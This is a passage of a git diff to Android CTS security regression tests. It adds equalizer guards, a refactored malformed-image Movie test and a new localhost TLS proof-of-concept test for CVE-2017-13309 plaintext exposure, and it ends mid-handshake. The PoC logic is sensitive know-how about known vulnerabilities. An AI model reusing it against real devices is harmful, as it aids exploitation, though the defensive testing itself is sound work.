-      "4D:23:78:EC:91:95:39:B5:00:7F:75:8F:03:3B:21:1E:C5:4D:8B:CF",
-      "E7:B4:F6:9D:61:EC:90:69:DB:7E:90:A7:40:1A:3C:F4:7D:4F:E8:EE",
       "C4:18:F6:4D:46:D1:DF:00:3D:27:30:13:72:43:A9:12:11:C6:75:FB",
       "69:69:56:2E:40:80:F4:24:A1:E7:19:9F:14:BA:F3:EE:58:AB:6A:BB",
       "92:5A:8F:8D:2C:6D:04:E0:66:5F:59:6A:FF:22:D8:63:E8:25:6F:3F",
       "75:E0:AB:B6:13:85:12:27:1C:04:F8:5F:DD:DE:38:E4:B7:24:2E:FE",
-      "E1:9F:E3:0E:8B:84:60:9E:80:9B:17:0D:72:A8:C5:BA:6E:14:09:BD",
       "DA:C9:02:4F:54:D8:F6:DF:94:93:5F:B1:73:26:38:CA:6A:D7:7C:13",
-      "4F:99:AA:93:FB:2B:D1:37:26:A1:99:4A:CE:7F:F0:05:F2:93:5D:1E",
       "74:20:74:41:72:9C:DD:92:EC:79:31:D8:23:10:8D:C2:81:92:E2:BB",
       "40:54:DA:6F:1C:3F:40:74:AC:ED:0F:EC:CD:DB:79:D1:53:FB:90:1D",
       "F4:8B:11:BF:DE:AB:BE:94:54:20:71:E6:41:DE:6B:BE:88:2B:40:B9",
@@ -52,13 +46,11 @@
       "8E:1C:74:F8:A6:20:B9:E5:8A:F4:61:FA:EC:2B:47:56:51:1A:52:C6",
       "27:96:BA:E6:3F:18:01:E2:77:26:1B:A0:D7:77:70:02:8F:20:EE:E4",
       "AD:7E:1C:28:B0:64:EF:8F:60:03:40:20:14:C3:D0:E3:37:0E:B5:8A",
-      "FB:ED:DC:90:65:B7:27:20:37:BC:55:0C:9C:56:DE:BB:F2:78:94:E1",
       "8D:17:84:D5:37:F3:03:7D:EC:70:FE:57:8B:51:9A:99:E6:10:D7:B0",
       "1F:24:C6:30:CD:A4:18:EF:20:69:FF:AD:4F:DD:5F:46:3A:1B:69:AA",
       "DA:FA:F7:FA:66:84:EC:06:8F:14:50:BD:C7:C2:81:A5:BC:A9:64:57",
       "74:F8:A3:C3:EF:E7:B3:90:06:4B:83:90:3C:21:64:60:20:E5:DF:CE",
-      "3E:2B:F7:F2:03:1B:96:F3:8C:E6:C4:D8:A8:5D:3E:2D:58:47:6A:0F",
-      "A3:F1:33:3F:E2:42:BF:CF:C5:D1:4E:8F:39:42:98:40:68:10:D1:A0",
+      "31:43:64:9B:EC:CE:27:EC:ED:3A:3F:0B:8F:0D:E4:E8:91:DD:EE:CA",
       "5F:43:E5:B1:BF:F8:78:8C:AC:1C:C7:CA:4A:9A:C6:22:2B:CC:34:C6",
       "2B:8F:1B:57:33:0D:BB:A2:D0:7A:6C:51:F7:0E:E9:0D:DA:B9:AD:8E",
       "79:5F:88:60:C5:AB:7C:3D:92:E6:CB:F4:8D:E1:45:CD:11:EF:60:0B",
@@ -73,7 +65,6 @@
       "50:30:06:09:1D:97:D4:F5:AE:39:F7:CB:E7:92:7D:7D:65:2D:34:31",
       "FE:45:65:9B:79:03:5B:98:A1:61:B5:51:2E:AC:DA:58:09:48:22:4D",
       "1B:4B:39:61:26:27:6B:64:91:A2:68:6D:D7:02:43:21:2D:1F:1D:96",
-      "77:47:4F:C6:30:E4:0F:4C:47:64:3F:84:BA:B8:C6:95:4A:8A:41:EC",
       "8C:F4:27:FD:79:0C:3A:D1:66:06:8D:E8:1E:57:EF:BB:93:22:72:D4",
       "2F:78:3D:25:52:18:A7:4A:65:39:71:B5:2C:A2:9C:45:15:6F:E9:19",
       "BA:29:41:60:77:98:3F:F4:F3:EF:F2:31:05:3B:2E:EA:6D:4D:45:FD",
@@ -82,7 +73,6 @@
       "36:79:CA:35:66:87:72:30:4D:30:A5:FB:87:3B:0F:A7:7B:B7:0D:54",
       "1B:8E:EA:57:96:29:1A:C9:39:EA:B8:0A:81:1A:73:73:C0:93:79:67",
       "6E:26:64:F3:56:BF:34:55:BF:D1:93:3F:7C:01:DE:D8:13:DA:8A:A6",
-      "A9:E9:78:08:14:37:58:88:F2:05:19:B0:6D:2B:0D:2B:60:16:90:7D",
       "D8:EB:6B:41:51:92:59:E0:F3:E7:85:00:C0:3D:B6:88:97:C9:EE:FC",
       "66:31:BF:9E:F7:4F:9E:B6:C9:D5:A6:0C:BA:6A:BE:D1:F7:BD:EF:7B",
       "DE:3F:40:BD:50:93:D3:9B:6C:60:F6:DA:BC:07:62:01:00:89:76:C9",
@@ -91,7 +81,6 @@
       "06:08:3F:59:3F:15:A1:04:A0:69:A4:6B:A9:03:D0:06:B7:97:09:91",
       "CA:BD:2A:79:A1:07:6A:31:F2:1D:25:36:35:CB:03:9D:43:29:A5:E8",
       "43:13:BB:96:F1:D5:86:9B:C1:4E:6A:92:F6:CF:F6:34:69:87:82:37",
-      "8A:5C:8C:EE:A5:03:E6:05:56:BA:D8:1B:D4:F6:C9:B0:ED:E5:2F:E0",
       "F1:8B:53:8D:1B:E9:03:B6:A6:F0:56:43:5B:17:15:89:CA:F3:6B:F2",
       "05:63:B8:63:0D:62:D7:5A:BB:C8:AB:1E:4B:DF:B5:A8:99:B2:4D:43",
       "62:52:DC:40:F7:11:43:A2:2F:DE:9E:F7:34:8E:06:42:51:B1:81:18",
@@ -117,17 +106,14 @@
       "9F:F1:71:8D:92:D5:9A:F3:7D:74:97:B4:BC:6F:84:68:0B:BA:B6:66",
       "B5:61:EB:EA:A4:DE:E4:25:4B:69:1A:98:A5:57:47:C2:34:C7:D9:71",
       "07:E0:32:E0:20:B7:2C:3F:19:2F:06:28:A2:59:3A:19:A7:0F:06:9E",
-      "B9:42:94:BF:91:EA:8F:B6:4B:E6:10:97:C7:FB:00:13:59:B6:76:CB",
       "D6:DA:A8:20:8D:09:D2:15:4D:24:B5:2F:CB:34:6E:B2:58:B2:8A:58",
       "32:3C:11:8E:1B:F7:B8:B6:52:54:E2:E2:10:0D:D6:02:90:37:F0:96",
-      "E7:A1:90:29:D3:D5:52:DC:0D:0F:C6:92:D3:EA:88:0D:15:2E:1A:6B",
       "79:91:E8:34:F7:E2:EE:DD:08:95:01:52:E9:55:2D:14:E9:58:D5:7E",
       "67:65:0D:F1:7E:8E:7E:5B:82:40:A4:F4:56:4B:CF:E2:3D:69:C6:F0",
       "FE:B8:C4:32:DC:F9:76:9A:CE:AE:3D:D8:90:8F:FD:28:86:65:64:7D",
       "4A:BD:EE:EC:95:0D:35:9C:89:AE:C7:52:A1:2C:5B:29:F6:D6:AA:0C",
       "33:9B:6B:14:50:24:9B:55:7A:01:87:72:84:D9:E0:2F:C3:D2:D8:E9",
       "DD:FB:16:CD:49:31:C9:73:A2:03:7D:3F:C8:3A:4D:7D:77:5D:05:E4",
-      "2A:B6:28:48:5E:78:FB:F3:AD:9E:79:10:DD:6B:DF:99:72:2C:96:E5",
       "36:B1:2B:49:F9:81:9E:D7:4C:9E:BC:38:0F:C6:56:8F:5D:AC:B2:F7",
       "37:F7:6D:E6:07:7C:90:C5:B1:3E:93:1A:B7:41:10:B4:F2:E4:9A:27",
       "AA:DB:BC:22:23:8F:C4:01:A1:27:BB:38:DD:F4:1D:DB:08:9E:F0:12",
@@ -157,7 +143,6 @@
       "DF:71:7E:AA:4A:D9:4E:C9:55:84:99:60:2D:48:DE:5F:BC:F0:3A:25",
       "F6:10:84:07:D6:F8:BB:67:98:0C:C2:E2:44:C2:EB:AE:1C:EF:63:BE",
       "AF:E5:D2:44:A8:D1:19:42:30:FF:47:9F:E2:F8:97:BB:CD:7A:8C:B4",
-      "D2:7A:D2:BE:ED:94:C0:A1:3C:C7:25:21:EA:5D:71:BE:81:19:F3:2B",
       "5F:3B:8C:F2:F8:10:B3:7D:78:B4:CE:EC:19:19:C3:73:34:B9:C7:74",
       "F1:7F:6F:B6:31:DC:99:E3:A3:C8:7F:FE:1C:F1:81:10:88:D9:60:33",
       "9D:70:BB:01:A5:A4:A0:18:11:2E:F7:1C:01:B9:32:C5:34:E7:88:A8",
@@ -166,22 +151,16 @@
       "D8:A6:33:2C:E0:03:6F:B1:85:F6:63:4F:7D:6A:06:65:26:32:28:27",
       "01:0C:06:95:A6:98:19:14:FF:BF:5F:C6:B0:B6:95:EA:29:E9:12:A6",
       "0F:F9:40:76:18:D3:D7:6A:4B:98:F0:A8:35:9E:0C:FD:27:AC:CC:ED",
-      "CC:AB:0E:A0:4C:23:01:D6:69:7B:DD:37:9F:CD:12:EB:24:E3:94:9D",
       "48:12:BD:92:3C:A8:C4:39:06:E7:30:6D:27:96:E6:A4:CF:22:2E:7D",
       "F9:B5:B6:32:45:5F:9C:BE:EC:57:5F:80:DC:E9:6E:2C:C7:B2:78:B7",
-      "5F:3A:FC:0A:8B:64:F6:86:67:34:74:DF:7E:A9:A2:FE:F9:FA:7A:51",
       "E6:21:F3:35:43:79:05:9A:4B:68:30:9D:8A:2F:74:22:15:87:EC:79",
       "89:DF:74:FE:5C:F4:0F:4A:80:F9:E3:37:7D:54:DA:91:E1:01:31:8E",
       "E0:B4:32:2E:B2:F6:A5:68:B6:54:53:84:48:18:4A:50:36:87:43:84",
       "7E:04:DE:89:6A:3E:66:6D:00:E6:87:D3:3F:FA:D9:3B:E8:3D:34:9E",
       "6E:3A:55:A4:19:0C:19:5C:93:84:3C:C0:DB:72:2E:31:30:61:F0:B1",
-      "31:F1:FD:68:22:63:20:EE:C6:3B:3F:9D:EA:4A:3E:53:7C:7C:39:17",
-      "23:88:C9:D3:71:CC:9E:96:3D:FF:7D:3C:A7:CE:FC:D6:25:EC:19:0D",
-      "7F:8A:B0:CF:D0:51:87:6A:66:F3:36:0F:47:C8:8D:8C:D3:35:FC:74",
       "4E:B6:D5:78:49:9B:1C:CF:5F:58:1E:AD:56:BE:3D:9B:67:44:A5:E5",
       "5A:8C:EF:45:D7:A6:98:59:76:7A:8C:8B:44:96:B5:78:CF:47:4B:1A",
       "8D:A7:F9:65:EC:5E:FC:37:91:0F:1C:6E:59:FD:C1:CC:6A:6E:DE:16",
       "B1:2E:13:63:45:86:A4:6F:1A:B2:60:68:37:58:2D:C4:AC:FD:94:97",
-      "04:83:ED:33:99:AC:36:08:05:87:22:ED:BC:5E:46:00:E3:BE:F9:D7",
   };
 }
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index 5ff41be..d1baf37 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -50,6 +50,9 @@
     //Testing security bug: 32436341
     @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamCenterFreq() throws Exception {
+        if (!hasEqualizer()) {
+            return;
+        }
         testGetParam(MEDIA_SHORT, Equalizer.PARAM_CENTER_FREQ, INVALID_BAND_ARRAY, mValue0,
                 mValue1);
     }
@@ -57,24 +60,36 @@
     //Testing security bug: 32588352
     @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamCenterFreq_long() throws Exception {
+        if (!hasEqualizer()) {
+            return;
+        }
         testGetParam(MEDIA_LONG, Equalizer.PARAM_CENTER_FREQ, INVALID_BAND_ARRAY, mValue0, mValue1);
     }
 
     //Testing security bug: 32438598
     @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamBandLevel() throws Exception {
+        if (!hasEqualizer()) {
+            return;
+        }
         testGetParam(MEDIA_SHORT, Equalizer.PARAM_BAND_LEVEL, INVALID_BAND_ARRAY, mValue0, mValue1);
     }
 
     //Testing security bug: 32584034
     @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamBandLevel_long() throws Exception {
+        if (!hasEqualizer()) {
+            return;
+        }
         testGetParam(MEDIA_LONG, Equalizer.PARAM_BAND_LEVEL, INVALID_BAND_ARRAY, mValue0, mValue1);
     }
 
     //Testing security bug: 32247948
     @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamFreqRange() throws Exception {
+        if (!hasEqualizer()) {
+            return;
+        }
         testGetParam(MEDIA_SHORT, Equalizer.PARAM_BAND_FREQ_RANGE, INVALID_BAND_ARRAY, mValue0,
                 mValue1);
     }
@@ -82,6 +97,9 @@
     //Testing security bug: 32588756
     @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamFreqRange_long() throws Exception {
+        if (!hasEqualizer()) {
+            return;
+        }
         testGetParam(MEDIA_LONG, Equalizer.PARAM_BAND_FREQ_RANGE, INVALID_BAND_ARRAY, mValue0,
                 mValue1);
     }
@@ -89,12 +107,18 @@
     //Testing security bug: 32448258
     @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamPresetName() throws Exception {
+        if (!hasEqualizer()) {
+            return;
+        }
         testParamPresetName(MEDIA_SHORT);
     }
 
     //Testing security bug: 32588016
     @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamPresetName_long() throws Exception {
+        if (!hasEqualizer()) {
+            return;
+        }
         testParamPresetName(MEDIA_LONG);
     }
 
@@ -133,6 +157,9 @@
     //testing security bug: 32095626
     @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_setParamBandLevel() throws Exception {
+        if (!hasEqualizer()) {
+            return;
+        }
         final int command = Equalizer.PARAM_BAND_LEVEL;
         short[] value = { 1000 };
         for (int invalidBand : INVALID_BAND_ARRAY)
@@ -146,6 +173,9 @@
     //testing security bug: 32585400
     @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_setParamBandLevel_long() throws Exception {
+        if (!hasEqualizer()) {
+            return;
+        }
         final int command = Equalizer.PARAM_BAND_LEVEL;
         short[] value = { 1000 };
         for (int invalidBand : INVALID_BAND_ARRAY)
@@ -159,6 +189,9 @@
     //testing security bug: 32705438
     @SecurityTest(minPatchLevel = "2017-02")
     public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
+        if (!hasEqualizer()) {
+            return;
+        }
         assertTrue("testEqualizer_getParamFreqRangeCommand_short did not complete successfully",
                 eqGetParamFreqRangeCommand(MEDIA_SHORT));
     }
@@ -166,6 +199,9 @@
     //testing security bug: 32703959
     @SecurityTest(minPatchLevel = "2017-02")
     public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
+        if (!hasEqualizer()) {
+            return;
+        }
         assertTrue("testEqualizer_getParamFreqRangeCommand_long did not complete successfully",
                 eqGetParamFreqRangeCommand(MEDIA_LONG));
     }
@@ -173,6 +209,9 @@
     //testing security bug: 37563371 (short media)
     @SecurityTest(minPatchLevel = "2017-09")
     public void testEqualizer_setParamProperties_short() throws Exception {
+        if (!hasEqualizer()) {
+            return;
+        }
         assertTrue("testEqualizer_setParamProperties_long did not complete successfully",
                 eqSetParamProperties(MEDIA_SHORT));
     }
@@ -180,6 +219,9 @@
     //testing security bug: 37563371 (long media)
     @SecurityTest(minPatchLevel = "2017-09")
     public void testEqualizer_setParamProperties_long() throws Exception {
+        if (!hasEqualizer()) {
+            return;
+        }
         assertTrue("testEqualizer_setParamProperties_long did not complete successfully",
                 eqSetParamProperties(MEDIA_LONG));
     }
@@ -498,6 +540,18 @@
         }
     }
 
+    private boolean hasEqualizer() {
+        boolean result = false;
+        try {
+            MediaPlayer mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
+            new Equalizer(0 /*priority*/, mp.getAudioSessionId());
+            result = true;
+        } catch (Exception e) {
+            Log.d(TAG, "Cannot create equalizer");
+        }
+        return result;
+    }
+
     private static byte[] intToByteArray(int value) {
         ByteBuffer converter = ByteBuffer.allocate(4);
         converter.order(ByteOrder.nativeOrder());
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index db29704..4a8cc780 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -124,7 +124,8 @@
         FutureTask<Point> task = new FutureTask<>(() -> {
             final int[] viewLocation = new int[2];
             viewHolder[0].getLocationOnScreen(viewLocation);
-            return new Point(viewLocation[0], viewLocation[1]);
+            // Set y position to the center of the view, to make sure it is away from the status bar
+            return new Point(viewLocation[0], viewLocation[1] + viewHolder[0].getHeight() / 2);
         });
         mActivity.runOnUiThread(task);
         Point viewLocation = task.get(5, TimeUnit.SECONDS);
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index dc35a57..efc050f 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -41,16 +41,34 @@
      */
     @SecurityTest(minPatchLevel = "2017-06")
     public void test_android_bug_33897722() {
-        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33897722);
-        Movie movie = Movie.decodeStream(exploitImage);
-        assertNotNull(movie);
-        assertEquals(movie.width(), 600);
-        assertEquals(movie.height(), 752);
-
         // The image has a 10 x 10 frame on top of a transparent background. Only test the
         // 10 x 10 frame, since the original bug would never have used uninitialized memory
         // outside of it.
-        Bitmap bitmap = Bitmap.createBitmap(10, 10, Bitmap.Config.ARGB_8888);
+        test_movie(R.raw.bug_33897722, 600, 752, 10, 10);
+    }
+
+    public void test_android_bug_37662286() {
+        // The image has a background color that is out of range. Arbitrarily test
+        // the upper left corner. (Most of the image is transparent.)
+        test_movie(R.raw.bug_37662286, 453, 272, 10, 10);
+    }
+
+    /**
+     * Test that a Movie draws transparent where it should.
+     *
+     * Old code read uninitialized memory. This ensures that we fall back to transparent.
+     */
+    private void test_movie(int resId, int screenWidth, int screenHeight,
+                            int drawWidth, int drawHeight) {
+        assertTrue(drawWidth <= screenWidth && drawHeight <= screenHeight);
+
+        InputStream exploitImage = mContext.getResources().openRawResource(resId);
+        Movie movie = Movie.decodeStream(exploitImage);
+        assertNotNull(movie);
+        assertEquals(movie.width(), screenWidth);
+        assertEquals(movie.height(), screenHeight);
+
+        Bitmap bitmap = Bitmap.createBitmap(drawWidth, drawHeight, Bitmap.Config.ARGB_8888);
         Canvas canvas = new Canvas(bitmap);
 
         // Use Src PorterDuff mode, to see exactly what the Movie creates.
@@ -59,8 +77,8 @@
 
         movie.draw(canvas, 0, 0, paint);
 
-        for (int x = 0; x < 10; x++) {
-            for (int y = 0; y < 10; y++) {
+        for (int x = 0; x < drawWidth; x++) {
+            for (int y = 0; y < drawHeight; y++) {
                 assertEquals(bitmap.getPixel(x, y), Color.TRANSPARENT);
             }
         }
diff --git a/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java b/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java
index a6bad84..b416110 100644
--- a/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java
+++ b/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java
@@ -110,6 +110,7 @@
      * Tests that TLS handshake succeeds when the MiTM simply forwards all data without tampering
      * with it. This is to catch issues unrelated to early CCS.
      */
+    @SecurityTest(minPatchLevel = "2014-09")
     public void testWithoutEarlyCCS() throws Exception {
         handshake(false, false);
     }
@@ -117,6 +118,7 @@
     /**
      * Tests whether client sockets are vulnerable to early CCS.
      */
+    @SecurityTest(minPatchLevel = "2014-09")
     public void testEarlyCCSInjectedIntoClient() throws Exception {
         checkEarlyCCS(true);
     }
@@ -124,6 +126,7 @@
     /**
      * Tests whether server sockets are vulnerable to early CCS.
      */
+    @SecurityTest(minPatchLevel = "2014-09")
     public void testEarlyCCSInjectedIntoServer() throws Exception {
         checkEarlyCCS(false);
     }
diff --git a/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java b/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java
new file mode 100644
index 0000000..0e698f8
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/SSLConscryptPlainTextExposureTest.java
@@ -0,0 +1,867 @@
+/*
+ * Copyright (C) 2018 The AndroCid Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import android.content.res.Resources;
+import android.test.AndroidTestCase;
+import android.platform.test.annotations.SecurityTest;
+import android.test.InstrumentationTestCase;
+import android.content.Context;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.io.InputStream;
+import java.io.IOException;
+import java.io.ByteArrayInputStream;
+import java.net.InetSocketAddress;
+import java.nio.ByteBuffer;
+import java.nio.channels.ClosedChannelException;
+import java.nio.channels.SelectionKey;
+import java.nio.channels.Selector;
+import java.nio.channels.ServerSocketChannel;
+import java.nio.channels.SocketChannel;
+import java.nio.channels.spi.SelectorProvider;
+import java.security.KeyManagementException;
+import java.security.KeyStore;
+import java.security.KeyStoreException;
+import java.security.NoSuchAlgorithmException;
+import java.security.SecureRandom;
+import java.security.UnrecoverableKeyException;
+import java.security.cert.CertificateException;
+import java.util.Formatter;
+import java.util.Iterator;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.regex.Pattern;
+
+import javax.net.ssl.KeyManagerFactory;
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLEngineResult;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.SSLSession;
+import javax.net.ssl.TrustManagerFactory;
+
+public class SSLConscryptPlainTextExposureTest extends InstrumentationTestCase {
+
+  private TestSSLServer mTestSSLServer;
+  private TestSSLConnection mTestSSLClient;
+  public static Context context;
+  public static String output = "";
+  private final String pattern = ".*PLAIN TEXT EXPOSED.*";
+
+  @SecurityTest(minPatchLevel = "2018-05")
+  public void test_android_CVE_2017_13309() {
+
+    context = getInstrumentation().getContext();
+    mTestSSLServer = new TestSSLServer();
+
+    try {
+      Thread.sleep(1000);
+    } catch (InterruptedException e) {
+      e.printStackTrace();
+    }
+    mTestSSLClient = new TestSSLConnection();
+    mTestSSLClient.StartConnect();
+    assertFalse("Pattern found",
+        Pattern.compile(pattern,
+          Pattern.DOTALL).matcher(output).matches());
+  }
+
+  public static InputStream getResource(final int resource){
+    return SSLConscryptPlainTextExposureTest.context.getResources().openRawResource(resource);
+  }
+
+  public static void setOutput(String data){
+    SSLConscryptPlainTextExposureTest.output = data;
+  }
+}
+
+
+class TestSSLConnection {
+
+  public SSLContext sslc;
+
+  public SocketChannel socketChannel;
+  public SSLEngine clientEngine;
+  public String remoteAddress = "127.0.0.1";
+  public int port = 9000;
+  public ByteBuffer[] dataOutAppBuffers = new ByteBuffer[3];
+  public ByteBuffer dataOutNetBuffer;
+  public ByteBuffer hsInAppBuffer, hsInNetBuffer, hsOutAppBuffer, hsOutNetBuffer;
+  public boolean isHandshaked = false;
+  public ExecutorService executor = Executors.newSingleThreadExecutor();
+  public InputStream clientKey = null;
+  public InputStream trustedCert = null;
+
+  public void StartConnect() {
+    KeyStore ks = null;
+
+    clientKey = SSLConscryptPlainTextExposureTest.getResource(R.raw.cve_2017_13309_client);
+    trustedCert = SSLConscryptPlainTextExposureTest.getResource(R.raw.cve_2017_13309_trustedcert);
+
+    try {
+      ks = KeyStore.getInstance(KeyStore.getDefaultType());
+    } catch (KeyStoreException e) {
+      e.printStackTrace();
+    }
+    KeyStore ts = null;
+    try {
+      ts = KeyStore.getInstance(KeyStore.getDefaultType());
+    } catch (KeyStoreException e) {
+      e.printStackTrace();
+    }
+
+    try {
+      ks.load(clientKey, "pocclient".toCharArray());
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+
+    try {
+      ts.load(trustedCert, "trusted".toCharArray());
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+
+    KeyManagerFactory kmf = null;
+    try {
+      kmf = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
+    } catch (NoSuchAlgorithmException e) {
+      e.printStackTrace();
+    }
+
+    try {
+      kmf.init(ks, "keypass".toCharArray());
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+
+    TrustManagerFactory tmf = null;
+    try {
+      tmf = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
+    } catch (NoSuchAlgorithmException e) {
+      e.printStackTrace();
+    }
+    try {
+      tmf.init(ts);
+    } catch (KeyStoreException e) {
+      e.printStackTrace();
+    }
+
+    SSLContext sslCtx = null;
+    try {
+      sslCtx = SSLContext.getInstance("TLSv1.2");
+    } catch (NoSuchAlgorithmException e) {
+      e.printStackTrace();
+    }
+
+    try {
+      sslCtx.init(kmf.getKeyManagers(), tmf.getTrustManagers(), null);
+    } catch (KeyManagementException e) {
+      e.printStackTrace();
+    }
+
+    sslc = sslCtx;
+
+    clientEngine = sslc.createSSLEngine(remoteAddress, port);
+    clientEngine.setUseClientMode(true);
+    SSLSession session = clientEngine.getSession();
+
+    hsOutAppBuffer = ByteBuffer.allocate(4096);
+    hsOutNetBuffer = ByteBuffer.allocate(session.getPacketBufferSize());
+    hsInAppBuffer = ByteBuffer.allocate(4096);
+    hsInNetBuffer = ByteBuffer.allocate(session.getPacketBufferSize());
+    dataOutNetBuffer = ByteBuffer.allocate(session.getPacketBufferSize());
+
+    try {
+      socketChannel = SocketChannel.open();
+    } catch (IOException e) {
+      e.printStackTrace();
+    }
+    try {
+      socketChannel.configureBlocking(false);
+    } catch (IOException e) {
+      e.printStackTrace();
+    }
+    try {
+      socketChannel.connect(new InetSocketAddress(remoteAddress, port));
+    } catch (IOException e) {
+      e.printStackTrace();
+    }
+
+    try {
+      while(!socketChannel.finishConnect()) {
+      }
+    } catch (IOException e) {
+      e.printStackTrace();
+    }
+
+    try {
+      clientEngine.beginHandshake();
+    } catch (SSLException e) {
+      e.printStackTrace();
+    }
+
+    try {
+      isHandshaked = doHandshake(socketChannel, clientEngine);
+    } catch (IOException e) {
+      e.printStackTrace();
+    }
+
+    if(isHandshaked) {
+      dataOutAppBuffers[0] = ByteBuffer.wrap("PLAIN TEXT EXPOSED".getBytes());
+      dataOutAppBuffers[1] = ByteBuffer.wrap("PLAIN TEXT EXPOSED".getBytes());
+      dataOutAppBuffers[2] = ByteBuffer.wrap("PLAIN TEXT EXPOSED".getBytes());
+
+      while(dataOutAppBuffers[0].hasRemaining() || dataOutAppBuffers[1].hasRemaining() || dataOutAppBuffers[2].hasRemaining()) {
+        dataOutNetBuffer.clear();
+        SSLEngineResult result = null;
+        try {
+          result = clientEngine.wrap(dataOutAppBuffers, 0, 3, dataOutNetBuffer);
+        } catch (SSLException e) {
+          e.printStackTrace();
+        }
+        switch(result.getStatus()) {
+          case OK:
+            dataOutNetBuffer.flip();
+            String outbuff = new String("");
+            Formatter formatter = new Formatter();
+            for(int i = 0; i < dataOutNetBuffer.limit(); i++) {
+              outbuff += formatter.format("%02x ", dataOutNetBuffer.get(i)).toString();
+            }
+            String output = new String(dataOutNetBuffer.array());
+            SSLConscryptPlainTextExposureTest.setOutput(output);
+            break;
+          case BUFFER_OVERFLOW:
+            dataOutNetBuffer = enlargePacketBuffer(clientEngine, dataOutNetBuffer);
+            break;
+          case BUFFER_UNDERFLOW:
+            try {
+              throw new SSLException("Buffer underflow in sending data");
+            } catch (SSLException e) {
+              e.printStackTrace();
+            }
+          case CLOSED:
+            try {
+              closeConnection(socketChannel, clientEngine);
+            } catch (IOException e) {
+              e.printStackTrace();
+            }
+            return;
+          default:
+            throw new IllegalStateException("Invalid SSL status: " + result.getStatus());
+        }
+      }
+    }
+
+    try {
+      clientKey.close();
+    } catch (IOException e){
+      e.printStackTrace();
+    }
+
+    try{
+      trustedCert.close();
+    } catch (IOException e){
+      e.printStackTrace();
+    }
+
+    try {
+      shutdown();
+    } catch (IOException e) {
+      e.printStackTrace();
+    }
+  }
+
+  public void shutdown() throws IOException {
+    closeConnection(socketChannel, clientEngine);
+    executor.shutdown();
+  }
+
+  public void closeConnection(SocketChannel socketChannel, SSLEngine engine) throws IOException {
+    engine.closeOutbound();
+    doHandshake(socketChannel, engine);
+    socketChannel.close();
+  }
+
+  public boolean doHandshake(SocketChannel socketChannel, SSLEngine engine) throws IOException {
+    SSLEngineResult result;
+    SSLEngineResult.HandshakeStatus handshakeStatus;
+    int appBufferSize = engine.getSession().getApplicationBufferSize();
+
+    ByteBuffer srcAppData = ByteBuffer.allocate(appBufferSize);
+    ByteBuffer dstAppData = ByteBuffer.allocate(appBufferSize);
+
+    srcAppData.clear();
+    dstAppData.clear();
+
+    handshakeStatus = engine.getHandshakeStatus();
+    while (handshakeStatus != SSLEngineResult.HandshakeStatus.FINISHED
+        && handshakeStatus != SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING) {
+      switch(handshakeStatus) {
+        case NEED_UNWRAP:
+          if(socketChannel.read(hsInNetBuffer) < 0) {
+            if(engine.isInboundDone() && engine.isOutboundDone()) {
+              return false;
+            }
+            try {
+              engine.closeInbound();
+            } catch (SSLException e) {
+              Log.e("poc-test","Forced to close inbound. No proper SSL/TLS close notification message from peer");
+            }
+            engine.closeOutbound();
+            handshakeStatus = engine.getHandshakeStatus();
+            break;
+          }
+          hsInNetBuffer.flip();
+          try {
+            result = engine.unwrap(hsInNetBuffer, hsInAppBuffer);
+            hsInNetBuffer.compact();
+            handshakeStatus = result.getHandshakeStatus();
+          } catch (SSLException sslException) {
+            engine.closeOutbound();
+            handshakeStatus = engine.getHandshakeStatus();
+            break;
+          }
+          switch(result.getStatus()) {
+            case OK:
+              break;
+            case BUFFER_OVERFLOW:
